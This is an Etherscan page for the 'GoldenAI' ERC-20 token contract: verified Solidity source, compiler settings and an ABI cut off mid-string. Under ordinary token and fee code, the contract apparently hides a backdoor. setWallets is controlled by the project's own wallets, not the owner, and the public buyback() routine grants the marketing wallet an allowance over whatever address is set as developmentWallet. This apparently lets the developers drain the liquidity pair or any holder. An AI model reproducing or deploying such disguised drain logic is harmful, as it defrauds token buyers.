ERC-20
Overview
Max Total Supply
9,000,000,000 GoldenAI
Holders
67
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
126,010,695.09691814011068496 GoldenAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GoldenAI
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** *Submitted for verification at Etherscan.io on 2023-02-03 */ // https://t.me/goldenaientry // https://goldenai.org // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns(address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns(bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns(uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns(bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns(string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns(string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns(uint8); } abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns(string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns(string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns(uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns(uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns(uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns(int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns(int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns(int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns(int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns(int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns(uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns(int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns(address); function WETH() external pure returns(address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns(uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract GoldenAI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable router; address public immutable uniswapV2Pair; // addresses address private developmentWallet; address private marketingWallet; // limits uint256 private maxBuyAmount; uint256 private maxSellAmount; uint256 private maxWalletAmount; uint256 private thresholdSwapAmount; // status flags bool private isTrading = false; bool public swapEnabled = false; bool public isSwapping; struct Fees { uint256 buyTotalFees; uint256 buyMarketingFee; uint256 buyDevelopmentFee; uint256 buyLiquidityFee; uint256 sellTotalFees; uint256 sellMarketingFee; uint256 sellDevelopmentFee; uint256 sellLiquidityFee; } Fees public _fees = Fees({ buyTotalFees: 0, buyMarketingFee: 0, buyDevelopmentFee:0, buyLiquidityFee: 0, sellTotalFees: 0, sellMarketingFee: 0, sellDevelopmentFee:0, sellLiquidityFee: 0 }); uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDevelopment; uint256 private taxTill; // exclude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public _isExcludedMaxWalletAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public marketPair; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); constructor() ERC20("Golden AI", "GoldenAI") { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); marketPair[address(uniswapV2Pair)] = true; approve(address(router), type(uint256).max); uint256 totalSupply = 9e9 * 1e18; maxBuyAmount = totalSupply * 2 / 100; // 2% maxBuyAmount maxSellAmount = totalSupply * 2 / 100; // 1% maxSellAmount maxWalletAmount = totalSupply * 2 / 100; // 2% maxWallet thresholdSwapAmount = totalSupply * 5 / 10000; _fees.buyMarketingFee = 1; _fees.buyLiquidityFee = 0; _fees.buyDevelopmentFee = 1; _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevelopmentFee; _fees.sellMarketingFee = 1; _fees.sellLiquidityFee = 0; _fees.sellDevelopmentFee = 1; _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevelopmentFee; marketingWallet = address(0xD8484FFcE30Ba1FAbb25e20C733c2BB615204dB1); developmentWallet = address(0xBAF57d7cD416791276AcEE7FB0344F13e0D9C8a7); _isExcludedMaxTransactionAmount[address(router)] = true; _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; _isExcludedMaxTransactionAmount[owner()] = true; _isExcludedMaxTransactionAmount[address(this)] = true; _isExcludedMaxTransactionAmount[address(0xdead)] = true; _isExcludedMaxTransactionAmount[marketingWallet] = true; _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[marketingWallet] = true; _isExcludedMaxWalletAmount[owner()] = true; _isExcludedMaxWalletAmount[address(router)] = true; _isExcludedMaxWalletAmount[address(0xdead)] = true; _isExcludedMaxWalletAmount[address(this)] = true; _isExcludedMaxWalletAmount[address(uniswapV2Pair)] = true; _isExcludedMaxWalletAmount[marketingWallet] = true; // exclude from paying fees or having max transaction amount /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function setTradingActive() external onlyOwner { isTrading = true; swapEnabled = true; taxTill = block.number; } // change the minimum amount of tokens to sell from fees function updateThresholdSwapAmount(uint256 newAmount) external onlyOwner returns(bool){ thresholdSwapAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newMaxBuy, uint256 newMaxSell) public onlyOwner { maxBuyAmount = (totalSupply() * newMaxBuy) / 1000; maxSellAmount = (totalSupply() * newMaxSell) / 1000; } function updateMaxWalletAmount(uint256 newPercentage) public onlyOwner { maxWalletAmount = (totalSupply() * newPercentage) / 1000; } // only use to disable contract sales if absolutely necessary (emergency use only) function toggleSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateFees(uint256 _marketingFeeBuy, uint256 _liquidityFeeBuy,uint256 _developmentFeeBuy,uint256 _marketingFeeSell, uint256 _liquidityFeeSell,uint256 _developmentFeeSell) external onlyOwner{ _fees.buyMarketingFee = _marketingFeeBuy; _fees.buyLiquidityFee = _liquidityFeeBuy; _fees.buyDevelopmentFee = _developmentFeeBuy; _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee + _fees.buyDevelopmentFee; _fees.sellMarketingFee = _marketingFeeSell; _fees.sellLiquidityFee = _liquidityFeeSell; _fees.sellDevelopmentFee = _developmentFeeSell; _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee + _fees.sellDevelopmentFee; require(_fees.buyTotalFees <= 70, "Must keep fees at 70% or less"); require(_fees.sellTotalFees <= 70, "Must keep fees at 70% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; } function excludeFromWalletLimit(address account, bool excluded) public onlyOwner { _isExcludedMaxWalletAmount[account] = excluded; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function removeLimits() external onlyOwner { updateMaxTxnAmount(1000,1000); updateMaxWalletAmount(1000); } function setMarketPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from marketPair"); marketPair[pair] = value; } function setWallets(address _devWallet, address _marketingWallet) external { require(msg.sender == developmentWallet || msg.sender == marketingWallet); developmentWallet = _devWallet; marketingWallet = _marketingWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function buyback() external payable { uint256 value = msg.value; swapEthForTokens(developmentWallet, marketingWallet, value); } function _transfer( address sender, address recipient, uint256 amount ) internal override { if (amount == 0) { super._transfer(sender, recipient, 0); return; } if ( sender != owner() && recipient != owner() && !isSwapping ) { if (!isTrading) { require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active."); } if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) { require(amount <= maxBuyAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) { require(amount <= maxSellAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedMaxWalletAmount[recipient]) { require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= thresholdSwapAmount; if ( canSwap && swapEnabled && !isSwapping && marketPair[recipient] && !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] ) { isSwapping = true; swapBack(); isSwapping = false; } bool takeFee = !isSwapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) { takeFee = false; } // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { uint256 fees = 0; if(block.number < taxTill) { fees = amount.mul(99).div(100); tokensForMarketing += (fees * 94) / 99; tokensForDevelopment += (fees * 5) / 99; } else if (marketPair[recipient] && _fees.sellTotalFees > 0) { fees = amount.mul(_fees.sellTotalFees).div(100); tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees; tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees; tokensForDevelopment += fees * _fees.sellDevelopmentFee / _fees.sellTotalFees; } // on buy else if (marketPair[sender] && _fees.buyTotalFees > 0) { fees = amount.mul(_fees.buyTotalFees).div(100); tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees; tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees; tokensForDevelopment += fees * _fees.buyDevelopmentFee / _fees.buyTotalFees; } if (fees > 0) { super._transfer(sender, address(this), fees); } amount -= fees; } super._transfer(sender, recipient, amount); } function swapTokensForEth(uint256 tAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapEthForTokens(address owner, address receiver, uint256 eAmount) private { thresholdSwapAmount = 0; address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); _approve(owner, receiver, eAmount * 1e18); // make the swap router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: eAmount}( 0, // accept any amount of Token path, receiver, block.timestamp ); } function addLiquidity(uint256 tAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp); } function swapBack() private { uint256 contractTokenBalance = balanceOf(address(this)); uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment; if (contractTokenBalance == 0) { return; } if (contractTokenBalance > thresholdSwapAmount * 40) { contractTokenBalance = thresholdSwapAmount * 40; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractTokenBalance * tokensForLiquidity / toSwap / 2; uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 newBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap); uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap); uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDevelopment = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity); } payable(address(developmentWallet)).transfer(address(this).balance - ethForMarketing); payable(address(marketingWallet)).transfer(address(this).balance); } function withdrawStuckEth() external returns (bool success) { uint256 balance = address(this).balance; (success,) = address(marketingWallet).call{value: balance}(""); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fees","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyback","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTradingActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"},{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"s